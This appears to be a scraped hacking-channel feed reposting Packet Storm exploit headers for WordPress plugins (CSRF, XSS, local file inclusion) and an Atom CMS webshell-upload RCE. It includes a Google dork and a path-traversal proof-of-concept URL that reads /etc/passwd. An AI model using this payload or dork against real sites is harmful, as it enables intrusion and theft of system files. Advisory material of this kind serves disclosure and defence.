Unsafe content loading [Electron JS]
https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Phishing in misconfigured Electron appsContinue reading on Medium » (https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Curtain 1.0.2 Cross Site Request Forgery

https://2.bp.blogspot.com/-Nz8u9CyJbsU/WWlveW9d4WI/AAAAAAAAIPw/tdSVtwWBcYIHlgRN6nbdKVd_fE-UdNKsACLcBGAs/s1600/h80.png
WordPress Curtain plugin version 1.0.2 suffers from a cross site request forgery vulnerability.

MD5 | 978ea605aee96ce40235254a8e16bcab

Download
# Exploit Title: WordPress Plugin curtain 1.0.2 - CSRF
# Date: 29-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/curtain/

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Clipr 1.2.3 Cross Site Scripting

https://2.bp.blogspot.com/-QRNaohEgzXY/WWlvKewId7I/AAAAAAAAIL8/tdiAF5DdWR4NRfdTdLr92btKcmbTDzxHQCLcBGAs/s1600/h147.png
WordPress Clipr plugin version 1.2.3 suffers from a cross site scripting vulnerability.

MD5 | d1b537531b93739457721e8e0d5443a1

Download
# Exploit Title: WordPress plugin clipr version 1.2.3 - ( Authenticated )
# Date: 29-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/clipr/
`
- Navigate to the main page of the WordPress URL
`http://localhost:10003/`
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Atom CMS 1.0.2 Shell Upload

https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png
Atom CMS version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 96d978d4ce51689762e987b3a4617e53

Download
# Exploit Title: Atom CMS 2.0 - Remote Code Execution (RCE)
# Date: 22.03.2022
# Exploit Author: Ashish Koli (Shikari)
# Vendor Homepage: https://thedigitalcraft.com/
# Software Link: https://github.com/thedigicraft/Atom.CMS
# Version: 2.0
# Tested on: Ubuntu 20.04.3 LTS
# CVE: CVE-2022-25487

# Description
This script uploads webshell.php to the Atom CMS. An application will store that file in the uploads directory with a unique number which allows us to access Webshell.

# Usage : python3 exploit.py
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Cab-Fare-Calculator 1.0.3 Local File Inclusion

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
WordPress Cab-Fare-Calculator plugin version 1.0.3 suffers from a local file inclusion vulnerability.

MD5 | d64a62082b29c71a1ae25d3844040125

Download
# Exploit Title: WordPress Plugin cab-fare-calculator 1.0.3 - Local
File Inclusion - Unauthenticated
# Google Dork: inurl:/wp-content/plugins/cab-fare-calculator/
# Date: 29-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/cab-fare-calculator/
# Version: 1.0.3
# Tested on: Firefox
# Contact me: h [at] spidersilk.com

# Vulnerable File: tblight.php

# Vulnerable Code:

```
if(!empty($_GET['controller']) && !empty($_GET['action']) &&
!empty($_GET['ajax']) && $_GET['ajax'] == 1)
{
require_once('' . 'controllers/'.$_GET['controller'].'.php');
}
```

# Proof of concept:

http://localhost:10003//wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video